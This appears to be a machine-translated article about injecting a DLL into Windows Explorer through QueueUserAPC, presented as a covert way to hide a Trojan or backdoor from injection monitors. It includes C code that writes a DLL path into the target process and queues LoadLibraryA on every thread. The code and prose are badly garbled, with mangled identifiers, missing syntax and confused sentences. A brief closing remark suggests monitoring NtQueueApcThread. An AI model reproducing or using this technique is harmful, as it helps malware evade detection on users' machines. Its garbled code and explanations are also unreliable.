Violence into the explorer

The most natural thing to inject your code into a running process is to use CreateRemoteThread,


today, far-threaded injection is already rampant, and the same tools for monitoring far-threaded injection and preventing far-threading injection are


, a Trojan or backdoor startup to the Explorer or IE injection operation is like writing on their own face


"I Am a Thief".


User state code want to hide in a more covert process, it should be in the injected link to conceal their own line


for. Here is a very simple but more violent method, given the example of
in the explorer

to download your own DLL.


first mentioned is a API:QUEUEUSERAPC





DWORD QUEUEUSERAPC (


Papcfunc PFNAPC,//APC function


HANDLE hthread,//HANDLE to Thread


ulong_ptr dwdata//APC function parameter


    ;





Everyone on this API should be no stranger, it directly into the system services Ntqueueapcthread thereby benefit


inserts an APC object with KEINSERTQUEUEAPC to the APC queue of the given target thread. If KIDELIVERAPC


smoothly to construct the APC environment and execute our code that's OK, but it's not going to be so smooth,


Apcstate Whether Userapcpending is true has an important effect, the result is often you wait until the flowers are thanks


your code is still not being executed. In the nuclear mentality is often not problematic, their own hands to assign value, but user state


program can not do, how to do? In fact, the simplest, the bad do not do it, let the system to do.


actually the system will place userapcpending as
when the application requests "alertable" to wait

TRUE (When Kedelayexecutionthread/kewaitformultipleobjects/kewaitforsingleobject


use testforalertpending is possible, in addition to ketestalertthread, opportunities or some


), the simplest example, when the target thread calls SleepEx (* * *, TRUE), we insert the APC code and we do the
.

it's OK.


more fortunate is that the explorer process in general there are always the threads of our intention, so the simplest but not

The graceful way to
is to enumerate all the threads in the explorer and insert them all, indicating the following:





    ......


DWORD ret;


Char *dllname = "C:\\mydll.dll";


int len = strlen (DllName) + 1;


pvoid param = VirtualAllocEx (hprocess, NULL, Len,


Mem_commit | Mem_top_down,


page_readwrite);


if (param!= NULL)


    {


if (writeprocessmemory hprocess, param,


(LPVOID) DllName, Len, &ret)


        {


for (DWORD p = 0; p < numberofthreads p + +)


            {


hthread = openthread (thread_all_access, 0, threadid[p]);


if (hthread!= 0)


{


Injectdll (hprocess, Hthread, (DWORD) param);


CloseHandle (hthread);


                }


            }


    }


    ......


    


of which injectdll:


void Injectdll (HANDLE hprocess, HANDLE hthread, DWORD param)


    {


QUEUEUSERAPC (


(Papcfunc) GetProcAddress (GetModuleHandle ("Kernel32.dll", "LoadLibraryA",


Hthread,


(DWORD) param


            ;


    }


    


LoadLibraryA is invoked to load your DLL into the target Process Explorer, which is running on a certain
of the target process

in a thread environment, your DLL can normally create your own thread.


in this way, the whole process may be violent (for obvious reasons, such as a thread that originally userapcpending true


was made false and so on), and only a one-time insertion, the flaw is obvious, but the insertion process is indeed more subtle.





for the use of this "shameless" method of procedures, the inspection/monitoring procedures need to add a number of judgments, such as the


Reasonable monitoring of ntqueueapcthread and so on.





Sometimes, the most ancient Trojan camouflage is not easy to be killed ...